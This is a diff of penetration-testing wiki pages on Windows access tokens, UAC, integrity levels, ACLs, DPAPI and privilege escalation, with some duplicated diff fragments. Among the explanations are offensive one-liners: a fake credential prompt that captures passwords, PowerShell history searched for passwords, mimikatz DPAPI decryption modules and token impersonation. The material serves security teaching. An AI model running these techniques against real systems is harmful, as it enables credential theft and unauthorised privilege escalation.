Learn more about tokens in this tutorials: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) and [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)
It is used to describe the security context of a process or a thread.
When a user logins, he is given an access token, and when the user creates a process, an access token derivated from the one of the user is assigned. The token contains information like the SID of the uses, the groups of the user, the privileges assigned to the user and its groups...
You can see this information executing `whoami /all` or using _Process Explorer_ from Sysinternals.
When a local administrator logins, two access tokens are created: One with admin rights and other one with normal rights \(Default one\), and to execute a process as administrator the UAC is involved.
The access token has also a reference of the logon sessions inside the LSASS, this is useful if the process needs to access some objects of the network.
You can see the current logon sessions executing as administrator the binary _logonsessions_ of Sysinternals.
You can create a new logon session with new credentials that will be used only in the network:
```text
runas /user:domain\username /netonly cmd.exe
```
### Types of tokens
There are 2 types of tokens:
* **Primary**: **Default** security information of the process or thread.
* **Impersonation**: Allows the process to **act on behalf of another user**. For example, on a client server architecture if the client wants to access some files in the shared folder, the server need a copy of the user token to check if it has sufficient permissions.
#### Impersonate Tokens
Using the _**incognito**_ **module** of metasploit if you have enough privileges you can easily **list** and **impersonate** other **tokens**. This could be useful to perform **actions as if you where the other user**. You could also **escalate privileges** with this technique.
### Token Privileges
Learn which [**token privileges can be abused to escalate privileges in this page**](windows-local-privilege-escalation/privilege-escalation-abusing-tokens.md).
Take a look to [**all the possible token privileges and some definitions on this page**](https://github.com/gtworek/Priv2Admin).
## UAC
UAC is used to allow an **administrator user to not give administrator privileges to each process executed**. This is **achieved using default** the **low privileged token** of the user. When, the administrator executes some process **as administrator**, a **UAC elevation** is performed and if it is successfully completed, the privileged token is used to create the process.
UAC is used to allow an **administrator user to not give administrator privileges to each process executed**. This is **achieved using default** the **low privileged token** of the user. When, the administrator executes some process **as administrator**, a **UAC elevation** is performed and if it is successfully completed, the privileged token is used to create the process.
To **differentiate** which process is executed with **low** or **high privileges** **Mandatory Integrity Controls** \(MIC\) are used.
There are **5 levels of integrity**:
To **differentiate** which process is executed with **low** or **high privileges** **Mandatory Integrity Controls** \(MIC\) are used. If you still don't know what are Windows Integrity levels check the following page:
* **Untrusted**\(0\): Processes launched by members of the Guest group. Writing operations are mostly blocked.
* **Low**\(1\): Used by _Internet Explorer_. File and registry writing is blocked.
* **Medium**\(2\): When UAC is enabled, this is the default level of integrity. A process in this level can **request** to **elevate** his **integrity level**.
* **High**\(3\): Processes running with **administrator privileges**.
* **System**\(4\): **Services** and other applications \(Wininit, Winlogon, Smss...\)
{% page-ref page="windows-local-privilege-escalation/integrity-levels.md" %}
Some programs are **autoelevated automatically** if the **user belongs** to the **administrator group**. These binaries have inside their _**Manifests**_ the _**autoElevate**_ option with value _**True**_. The binary has to be **signed by Microsoft** also.
@ -165,7 +106,7 @@ If **`0`**\(default\), the **built-in Administrator account can** do remote admi
Note that if you have graphical access to the victim, UAC bypass is straight forward as you can simply click on "Yes" when the UAS prompt appears
{% endhint %}
It is important to mention that it is **much harder to bypass the UAC if it is in the higest security level \(Always\) than if it is in any of the other levels \(Default\).**
It is important to mention that it is **much harder to bypass the UAC if it is in the highest security level \(Always\) than if it is in any of the other levels \(Default\).**
The UAC bypass is needed in the following situation: **the UAC is activated, your process is running in a medium integrity context, and your user belongs to the administrators group**.
All this information can be gathered using the metasploit module: `post/windows/gather/win_privs`
@ -179,7 +120,11 @@ whoami /groups | findstr Level
#### **Very** Basic UAC "bypass" \(full file system access\)
If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB \(file system\) local in a new disk and you will have **access to everything inside the file system** \(even Administrator home folder\)
If you have a shell with a user that is inside the Administrators group you can **mount the C$** shared via SMB \(file system\) local in a new disk and you will have **access to everything inside the file system** \(even Administrator home folder\).
{% hint style="info" %}
**Looks like this trick isn't working anymore**
{% endhint %}
```bash
net use Z: \\127.0.0.1\c$

View File

@ -116,6 +116,10 @@ net user /add [username] [password] #Create user
#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted
#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe
```
### Groups

View File

@ -186,7 +186,7 @@ $rb.Items()
## Domain Recon
[**Check this page about PowerView**](powerview.md)\*\*\*\*
{% page-ref page="powerview.md" %}
## Users

View File

@ -6,6 +6,26 @@ If you want to **know** about my **latest modifications**/**additions**, **join
If you want to **share some tricks with the community** you can also submit **pull requests** to ****[**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) ****that will be reflected in this book.
Don't forget to **give ⭐ on the github** to motivate me to continue developing this book.
## Initial Windows Theory
### Access Tokens
**If you don't know what are Windows Access Tokens, read the following page before continuing:**
{% page-ref page="access-tokens.md" %}
### ACLs - DACLs/SACLs/ACEs
**If you don't know what is any of the acronyms used in the heading of this section, read the following page before continuing**:
{% page-ref page="acls-dacls-sacls-aces.md" %}
### Integrity Levels
**If you don't know what are integrity levels in Windows you should read the following page before continuing:**
{% page-ref page="integrity-levels.md" %}
## System Info
### Version info enumeration
@ -55,9 +75,11 @@ dir env:
Get-ChildItem Env: | ft Key,Value
```
### Powershell history
### PowerShell History
```bash
ConsoleHost_history #Find the PATH where is saved
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type C:\Users\swissky\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
type $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
@ -65,6 +87,59 @@ cat (Get-PSReadlineOption).HistorySavePath
cat (Get-PSReadlineOption).HistorySavePath | sls passw
```
### PowerShell Transcript files
You can learn how to turn this on in [https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/](https://sid-500.com/2017/11/07/powershell-enabling-transcription-logging-by-using-group-policy/)
```bash
#Check is enable in the registry
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\Transcription
dir C:\Transcripts
#Start a Transcription session
Start-Transcript -Path "C:\transcripts\transcript0.txt" -NoClobber
Stop-Transcript
```
### PowerShell Module Logging
It records the pipeline execution details of PowerShell. This includes the commands which are executed including command invocations and some portion of the scripts. It may not have the entire detail of the execution and the output results.
You can enable this following the link of the last section \(Transcript files\) but enabling "Module Logging" instead of "Powershell Transcription".
```text
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
```
To view the last 15 events from PowersShell logs you can execute:
```bash
Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
```
### PowerShell **Script Block Logging**
It records block of code as they are executed therefore it captures the complete activity and full content of the script. It maintains the complete audit trail of each activity which can be used later in forensics and to study the malicious behavior. It records all the activity at time of execution thus provides the complete details.
```text
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKCU\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
reg query HKLM\Wow6432Node\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
```
The Script Block logging events can be found in Windows Event viewer under following path: _Application and Sevices Logs &gt; Microsoft &gt; Windows &gt; Powershell &gt; Operational_
To view the last 20 events you can use:
```bash
Get-WinEvent -LogName "Microsoft-Windows-Powershell/Operational" | select -first 20 | Out-Gridview
```
### Internet Settings
```bash
@ -245,7 +320,7 @@ C:\windows\tracing
### UAC
UAC is used to allow an **administrator user to not give administrator privileges to each process executed**. This is **achieved using default** the **low privileged token** of the user.
[**More information about UAC here**](../credentials.md#uac).
[**More information about UAC here**](../authentication-credentials-uac-and-efs.md#uac).
```text
reg query HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\
@ -280,7 +355,7 @@ If you **belongs to some privileged group you may be able to escalate privileges
### Token manipulation
**Learn more** about what is a **token** in this page: [**Windows Tokens**](../credentials.md#access-tokens).
**Learn more** about what is a **token** in this page: [**Windows Tokens**](../authentication-credentials-uac-and-efs.md#access-tokens).
Check the following page to **learn about interesting tokens** and how to abuse them:
{% page-ref page="privilege-escalation-abusing-tokens.md" %}
@ -730,7 +805,7 @@ Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect\
```
You can use **mimikatz module** `dpapi::masterkey` with the appropiate arguments \(`/pvk` or `/rpc`\) to decrypt it.
You can use **mimikatz module** `dpapi::masterkey` with the appropriate arguments \(`/pvk` or `/rpc`\) to decrypt it.
The **credentials files protected by the master password** are usually located in:
@ -773,7 +848,7 @@ HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
```
Use the **Mimikatz** `dpapi::rd`g module with appropriate `/masterkey` to **decrypt any .rdg files**
Use the **Mimikatz** `dpapi::rdg` module with appropriate `/masterkey` to **decrypt any .rdg files**
You can **extract many DPAPI masterkeys** from memory with the Mimikatz `sekurlsa::dpapi` module
### AppCmd.exe
@ -894,10 +969,19 @@ SSH private keys can be stored inside the registry key `HKCU\Software\OpenSSH\Ag
reg query HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys
```
If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using [https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows_sshagent_extract).
If you find any entry inside that path it will probably be a saved SSH key. It is stored encrypted but can be easily decrypted using [https://github.com/ropnop/windows\_sshagent\_extract](https://github.com/ropnop/windows_sshagent_extract).
More information about this technique here: [https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/](https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/)
If `ssh-agent` service is not running and you want it to automatically start on boot run:
```text
Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service
```
{% hint style="info" %}
It looks like this technique isn't valid anymore. I tried to create some ssh keys, add them with `ssh-add` and login via ssh to a machine. The registry HKCU\Software\OpenSSH\Agent\Keys doesn't exist and procmon didn't identify the use of `dpapi.dll` during the asymmetric key authentication.
{% endhint %}
### Unattended files
```text
@ -1031,6 +1115,9 @@ You can always **ask the user to enter his credentials of even the credentials o
```text
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password
#Get plaintext
$cred.GetNetworkCredential() | fl
```
### **Possible filenames containing credentials**
@ -1200,7 +1287,7 @@ When a **client writes on a pipe**, the **server** that created the pipe can **i
## From Administrator Medium to High Integrity Level / UAC Bypass
\*\*\*\*[**Learn here**](../credentials.md#uac) **about what are the "integrity levels" in Windows, what is UAC and how to**[ **bypass it**](../credentials.md#uac)**.**
\*\*\*\*[**Read this to learn about Integrity Levels**](integrity-levels.md) **and** [**this to learn what is UAC**](../authentication-credentials-uac-and-efs.md#uac)**, then read how to**[ **bypass it**](../authentication-credentials-uac-and-efs.md#uac)**.**
## **From High Integrity to System**
@ -1218,6 +1305,10 @@ sc start newservicename
From a High Integrity process you could try to **enable the AlwaysInstallElevated registry entries** and **install** a reverse shell using a _**.msi**_ wrapper.
[More information about the registry keys involved and how to install a _.msi_ package here.](./#alwaysinstallelevated)
### High + SeImpersonate privilege to System
**You can** [**find the code here**](seimpersonate-from-high-to-system.md)**.**
### From SeDebug + SeImpersonate to Full Token privileges
If you have those token privileges \(probably you will find this in an already High Integrity process\), you will be able to **open almost any process** \(not protected processes\) with the SeDebug privilege, **copy the token** of the process, and create an **arbitrary process with that token**.

View File

@ -0,0 +1,105 @@
# Access Tokens
## Access Tokens
Each **user logged** onto the system **holds an access token with security information** for that logon session. The system creates an access token when the user logs on. **Every process executed** on behalf of the user **has a copy of the access token**. The token identifies the user, the user's groups, and the user's privileges. A token also contains a logon SID \(Security Identifier\) that identifies the current logon session.
You can see this information executing `whoami /all`
```text
whoami /all
USER INFORMATION
----------------
User Name SID
===================== ============================================
desktop-rgfrdxl\cpolo S-1-5-21-3359511372-53430657-2078432294-1001
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================================= ================ ============================================================================================================= ==================================================
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account and member of Administrators group Well-known group S-1-5-114 Group used for deny only
BUILTIN\Administrators Alias S-1-5-32-544 Group used for deny only
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Performance Log Users Alias S-1-5-32-559 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON Well-known group S-1-2-1 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
MicrosoftAccount\cpolop@outlook.com User S-1-11-96-3623454863-58364-18864-2661722203-1597581903-3158937479-2778085403-3651782251-2842230462-2314292098 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account Well-known group S-1-5-113 Mandatory group, Enabled by default, Enabled group
LOCAL Well-known group S-1-2-0 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Cloud Account Authentication Well-known group S-1-5-64-36 Mandatory group, Enabled by default, Enabled group
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ==================================== ========
SeShutdownPrivilege Shut down the system Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeUndockPrivilege Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
SeTimeZonePrivilege Change the time zone Disabled
```
or using _Process Explorer_ from Sysinternals \(select process and access"Security" tab\):
![](../../.gitbook/assets/image%20%28352%29.png)
### Local administrator
When a local administrator logins, **two access tokens are created**: One with admin rights and other one with normal rights. **By default**, when this user executes a process the one with **regular** \(non-administrator\) **rights is used**. When this user tries to **execute** anything **as administrator** \("Run as Administrator" for example\) the **UAC** will be used to ask for permission.
If you want to [**learn more about the UAC read this page**](../authentication-credentials-uac-and-efs.md#uac)**.**
### Credentials user impersonation
If you have **valid credentials of any other user**, you can **create** a **new logon session** with those credentials :
```text
runas /user:domain\username cmd.exe
```
The **access token** has also a **reference** of the logon sessions inside the **LSASS**, this is useful if the process needs to access some objects of the network.
You can launch a process that **uses different credentials for accessing network services** using:
```text
runas /user:domain\username /netonly cmd.exe
```
This is useful if you have useful credentials to access objects in the network but those credentials aren't valid inside the current host as they are only going to be used in the network \(in the current host your current user privileges will be used\).
### Types of tokens
There are two types of tokens available:
* **Primary token**: Primary tokens can only be **associated to processes**, and they represent a process's security subject. The creation of primary tokens and their association to processes are both privileged operations, requiring two different privileges in the name of privilege separation - the typical scenario sees the authentication service creating the token, and a logon service associating it to the user's operating system shell. Processes initially inherit a copy of the parent process's primary token.
* **Impersonation token**: Impersonation is a security concept implemented in Windows NT that **allows** a server application to **temporarily** "**be**" **the client** in terms of access to secure objects. Impersonation has **four possible levels**:
* **anonymous**, giving the server the access of an anonymous/unidentified user
* **identification**, letting the server inspect the client's identity but not use that identity to access objects
* **impersonation**, letting the server act on behalf of the client
* **delegation**, same as impersonation but extended to remote systems to which the server connects \(through the preservation of credentials\).
The client can choose the maximum impersonation level \(if any\) available to the server as a connection parameter. Delegation and impersonation are privileged operations \(impersonation initially was not, but historical carelessness in the implementation of client APIs failing to restrict the default level to "identification", letting an unprivileged server impersonate an unwilling privileged client, called for it\). **Impersonation tokens can only be associated to threads**, and they represent a client process's security subject. Impersonation tokens are usually created and associated to the current thread implicitly, by IPC mechanisms such as DCE RPC, DDE and named pipes.
#### Impersonate Tokens
Using the _**incognito**_ **module** of metasploit if you have enough privileges you can easily **list** and **impersonate** other **tokens**. This could be useful to perform **actions as if you where the other user**. You could also **escalate privileges** with this technique.
### Token Privileges
Learn which [**token privileges can be abused to escalate privileges in this page**](privilege-escalation-abusing-tokens.md).
Take a look to [**all the possible token privileges and some definitions on this external page**](https://github.com/gtworek/Priv2Admin).
## References
Learn more about tokens in this tutorials: [https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa](https://medium.com/@seemant.bisht24/understanding-and-abusing-process-tokens-part-i-ee51671f2cfa) and [https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962](https://medium.com/@seemant.bisht24/understanding-and-abusing-access-tokens-part-ii-b9069f432962)

View File

@ -0,0 +1,158 @@
# ACLs - DACLs/SACLs/ACEs
## **Access Control List \(ACL\)**
An **ACL is an ordered list of ACEs** that define the protections that apply to an object and its properties. Each ACE identifies a security principal and specifies a set of access rights that are allowed, denied, or audited for that security principal.
An objects security descriptor can contain **two ACLs**:
1. A **DACL** that **identifies** the **users** and **groups** that are **allowed** or **denied** access
2. A **SACL** that controls **how** access is **audited**
When a user tries to access a file, the Windows system runs an AccessCheck and compares the security descriptor with the users access token and evaluates if the user is granted access and what kind of access depending on the ACEs set.
### **Discretionary Access Control List \(DACL\)**
A DACL \(often mentioned as the ACL\) identify the users and groups that are assigned or denied access permissions on an object. It contains a list of paired ACEs \(Account + Access Right\) to the securable object.
### **System Access Control List \(SACL\)**
SACLs makes it possible to monitor access to secured objects. ACEs in a SACL determine **what types of access is logged in the Security Event Log**. With monitoring tools this could raise an alarm to the right people if malicious users tries to access the secured object, and in an incident scenario we can use the logs to trace the steps back in time. And last, you can enable logging for troubleshoot access issues.
## How the System Uses ACLs
Each **user logged** onto the system **holds an access token with security information** for that logon session. The system creates an access token when the user logs on. **Every process executed** on behalf of the user **has a copy of the access token**. The token identifies the user, the user's groups, and the user's privileges. A token also contains a logon SID \(Security Identifier\) that identifies the current logon session.
When a thread tries to access a securable object, the LSASS \(Local Security Authority\) either grants or denies access. To do this, the **LSASS searches the DACL** \(Discretionary Access Control List\) in the SDS data stream, looking for ACEs that apply to the thread.
**Each ACE in the object's DACL** specifies the access rights that are allowed or denied for a security principal or logon session. If the object's owner has not created any ACEs in the DACL for that object, the system grants access right away.
If the LSASS finds ACEs, it compares the trustee SID in each ACE to the trustee SIDs that are identified in the thread's access token.
The system examines each ACE in sequence until one of the following events occurs:
* **An access-denied ACE explicitly denies** any of the requested access rights to one of the trustees listed in the thread's access token.
* **One or more access-allowed ACEs** for trustees listed in the thread's access token explicitly grant all the requested access rights.
* All ACEs have been checked and there is still at least **one requested access** right that has **not been explicitly allowed**, in which case, access is implicitly **denied**.
### Order of ACEs
Because the **system stops checking ACEs when the requested access is explicitly granted or denied**, the order of ACEs in a DACL is important.
The preferred order of ACEs in a DACL is called the "canonical" order. For Windows 2000 and Windows Server 2003, the canonical order is the following:
1. All **explicit** ACEs are placed in a group **before** any **inherited** ACEs.
2. Within the group of **explicit** ACEs, **access-denied** ACEs are placed **before access-allowed** ACEs.
3. Within the **inherited** group, ACEs that are inherited from the **child object's parent come first**, and **then** ACEs inherited from the **grandparent**, **and so** on up the tree of objects. After that, **access-denied** ACEs are placed **before access-allowed** ACEs.
The following figure shows the canonical order of ACEs:
### Canonical order of ACEs
![ACE](https://www.ntfs.com/images/screenshots/ACEs.gif)
The canonical order ensures that the following takes place:
* An explicit **access-denied ACE is enforced regardless of any explicit access-allowed ACE**. This means that the object's owner can define permissions that allow access to a group of users and deny access to a subset of that group.
* All **explicit ACEs are processed before any inherited ACE**. This is consistent with the concept of discretionary access control: access to a child object \(for example a file\) is at the discretion of the child's owner, not the owner of the parent object \(for example a folder\). The owner of a child object can define permissions directly on the child. The result is that the effects of inherited permissions are modified.
### GUI Example
This is the classic security tab of a folder showing the ACL, DACL and ACEs:
![](../../.gitbook/assets/classicsectab.jpg)
If we click the **Advanced button** we will get more options like inheritance:
![](../../.gitbook/assets/aceinheritance.jpg)
And if you add or edit a Security Principal:
![](../../.gitbook/assets/editseprincipalpointers1.jpg)
And last we have the SACL in the Auditing tab:
![](../../.gitbook/assets/audit-tab.jpg)
### Example: Explicit access-denied to a group
In this example, the access-allowed group is Everyone and the access-denied group is Marketing, a subset of Everyone.
You want to deny the Marketing group access to a Cost folder. If the Cost folder's ACEs are in canonical order, the ACE that denies Marketing comes before the ACE that allows Everyone.
During an access check, the operating system steps through the ACEs in the order in which they appear in the object's DACL, so that the deny ACE is processed before the allow ACE. As a result, users who are members of the Marketing group are denied access. Everyone else is allowed access to the object.
### Example: Explicit before inherited
In this example, the Cost folder has an inheritable ACE that denies access to Marketing \(the parent object\). In other words, all users who are members \(or children\) of the Marketing group are denied access by inheritance.
You want to allow access to Bob, who is the Marketing director. As a member of the Marketing group, Bob is denied access to the Cost folder by inheritance. The owner of the child object \(user Bob\) defines an explicit ACE that allows access to the Cost folder. If the child object's ACEs are in canonical order, the explicit ACE that allows Bob access comes before any inherited ACE, including the inherited ACE that denies access to the Marketing group.
During an access check, the operating system reaches the ACE that allows Bob access before it gets to the ACE that denies access to the Marketing group. As a result, Bob is allowed access to the object even though he is a member of the Marketing group. Other members of the Marketing group are denied access.
### Access Control Entries
As stated previously, an ACL \(Access Control List\) is an ordered list of ACEs \(Access Control Entries\). Each ACE contains the following:
* A SID \(Security Identifier\) that identifies a particular user or group.
* An access mask that specifies access rights.
* A set of bit flags that determine whether or not child objects can inherit the ACE.
* A flag that indicates the type of ACE.
ACEs are fundamentally alike. What sets them apart is the degree of control they offer over inheritance and object access. There are two types of ACE:
* Generic type that are attached to all securable objects.
* Object-specific type that can occur only in ACLs for Active Directory objects.
### Generic ACE
A generic ACE offers limited control over the kinds of child objects that can inherit them. Essentially, they can distinguish only between containers and noncontainers.
For example, the DACL \(Discretionary Access Control List\) on a Folder object in NTFS can include a generic ACE that allows a group of users to list the folder's contents. Because listing a folder's contents is an operation that can be performed only on a Container object, the ACE that allows the operation can be flagged as a CONTAINER\_INHERIT\_ACE. Only Container objects in the folder \(that is, only other Folder objects\) inherit the ACE. Noncontainer objects \(that is, File objects\) do not inherit the ACE of the parent object.
A generic ACE applies to an entire object. If a generic ACE gives a particular user Read access, the user can read all the information that is associated with the object — both data and properties. This is not a serious limitation for most object types. File objects, for example, have few properties, which are all used for describing characteristics of the object rather than for storing information. Most of the information in a File object is stored as object data; therefore, there is little need for separate controls on a file's properties.
### Object-specific ACE
An object-specific ACE offers a greater degree of control over the types of child objects that can inherit them.
For example, an OU \(Organizational Unit\) object's ACL can have an object-specific ACE that is marked for inheritance only by User objects. Other types of objects, such as Computer objects, will not inherit the ACE.
This capability is why object-specific ACEs are called object-specific. Their inheritance can be limited to specific types of child objects.
There are similar differences in how the two categories of ACE types control access to objects.
An object-specific ACE can apply to any individual property of an object or to a set of properties for that object. This type of ACE is used only in an ACL for Active Directory objects, which, unlike other object types, store most of their information in properties. It is often desirable to place independent controls on each property of an Active Directory object, and object-specific ACEs make that possible.
For example, when you define permissions for a User object, you can use one object-specific ACE to allow Principal Self \(that is, the user\) Write access to the Phone-Home-Primary \(homePhone\) property, and you can use other object-specific ACEs to deny Principal Self access to the Logon-Hours \(logonHours\) property and other properties that set restrictions on the user account.
The table below shows the layout of each ACE.
### Access Control Entry Layout
| ACE Field | Description |
| :--- | :--- |
| Type | Flag that indicates the type of ACE. Windows 2000 and Windows Server 2003 support six types of ACE: Three generic ACE types that are attached to all securable objects. Three object-specific ACE types that can occur for Active Directory objects. |
| Flags | Set of bit flags that control inheritance and auditing. |
| Size | Number of bytes of memory that are allocated for the ACE. |
| Access mask | 32-bit value whose bits correspond to access rights for the object. Bits can be set either on or off, but the setting's meaning depends on the ACE type. For example, if the bit that corresponds to the right to read permissions is turned on, and the ACE type is Deny, the ACE denies the right to read the object's permissions. If the same bit is set on but the ACE type is Allow, the ACE grants the right to read the object's permissions. More details of the Access mask appear in the next table. |
| SID | Identifies a user or group whose access is controlled or monitored by this ACE. |
### Access Mask Layout
| Bit \(Range\) | Meaning | Description/Example |
| :--- | :--- | :--- |
| 0 - 15 | Object Specific Access Rights | Read data, Execute, Append data |
| 16 - 22 | Standard Access Rights | Delete, Write ACL, Write Owner |
| 23 | Can access security ACL | |
| 24 - 27 | Reserved | |
| 28 | Generic ALL \(Read, Write, Execute\) | Everything below |
| 29 | Generic Execute | All things necessary to execute a program |
| 30 | Generic Write | All things necessary to write to a file |
| 31 | Generic Read | All things necessary to read a file |
## References
* [https://www.ntfs.com/ntfs-permissions-acl-use.htm](https://www.ntfs.com/ntfs-permissions-acl-use.htm)
* [https://secureidentity.se/acl-dacl-sacl-and-the-ace/](https://secureidentity.se/acl-dacl-sacl-and-the-ace/)

View File

@ -103,7 +103,7 @@ Other interesting automated tools to discover this vulnerability are **PowerSplo
### Example
In case you find an exploitable scenario one of the most important things to successfully exploit it would be to **create a dll that exports at least all the functions the executable will import from it**. Anyway, note that Dll Hijacking comes handy in order to [escalate from Medium Integrity level to High **\(bypassing UAC\)**](../credentials.md#uac) or from[ **High Integrity to SYSTEM**](./#from-high-integrity-to-system)**.** You can find an example of **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**
In case you find an exploitable scenario one of the most important things to successfully exploit it would be to **create a dll that exports at least all the functions the executable will import from it**. Anyway, note that Dll Hijacking comes handy in order to [escalate from Medium Integrity level to High **\(bypassing UAC\)**](../authentication-credentials-uac-and-efs.md#uac) or from[ **High Integrity to SYSTEM**](./#from-high-integrity-to-system)**.** You can find an example of **how to create a valid dll** inside this dll hijacking study focused on dll hijacking for execution: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**
Moreover, in the **next sectio**n you can find some **basic dll codes** that might be useful as **templates** or to create a **dll with non required functions exported**.
## **Creating and compiling Dlls**

View File

@ -0,0 +1,126 @@
# DPAPI - Extracting Passwords
While creating this post mimikatz was having problems with every action that interacted with DPAPI therefore **most of the examples and images were taken from**: [https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++](https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++#extracting-dpapi-backup-keys-with-domain-admin)
## What is DPAPI
Its primary use in the Windows operating system is to **perform symmetric encryption of asymmetric private keys**, using a user or system secret as a significant contribution of entropy.
**DPAPI allows developers to encrypt keys using a symmetric key derived from the user's logon secrets**, or in the case of system encryption, using the system's domain authentication secrets.
This makes very easy to developer to **save encrypted data** in the computer **without** needing to **worry** how to **protect** the **encryption** **key**.
## What does DPAPI protect?
DPAPI is utilized to protect the following personal data:
* Passwords and form auto-completion data in Internet Explorer, Google \*Chrome
* E-mail account passwords in Outlook, Windows Mail, Windows Mail, etc.
* Internal FTP manager account passwords
* Shared folders and resources access passwords
* Wireless network account keys and passwords
* Encryption key in Windows CardSpace and Windows Vault
* Remote desktop connection passwords, .NET Passport
* Private keys for Encrypting File System \(EFS\), encrypting mail S-MIME, other user's certificates, SSL/TLS in Internet Information Services
* EAP/TLS and 802.1x \(VPN and WiFi authentication\)
* Network passwords in Credential Manager
* Personal data in any application programmatically protected with the API function CryptProtectData. For example, in Skype, Windows Rights Management Services, Windows Media, MSN messenger, Google Talk etc.
* ...
{% hint style="info" %}
An example of a successful and clever way to protect data using DPAPI is the implementation of the auto-completion password encryption algorithm in Internet Explorer. To encrypt the login and password for a certain web page, it calls the CryptProtectData function, where in the optional entropy parameter it specifies the address of the web page. Thus, unless one knows the original URL where the password was entered, nobody, not even Internet Explorer itself, can decrypt that data back.
{% endhint %}
## Master Keys
The DPAPI keys used for encrypting the user's RSA keys are stored under `%APPDATA%\Microsoft\Protect\{SID}` directory, where {SID} is the [Security Identifier](https://en.wikipedia.org/wiki/Security_Identifier) of that user. **The DPAPI key is stored in the same file as the master key that protects the users private keys**. It usually is 64 bytes of random data. \(Notice that this directory is protected so you cannot list it using`dir` from the cmd, but you can list it from PS\).
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```
This is what a bunch of Master Keys of a user will looks like:
![](../../.gitbook/assets/image%20%28360%29.png)
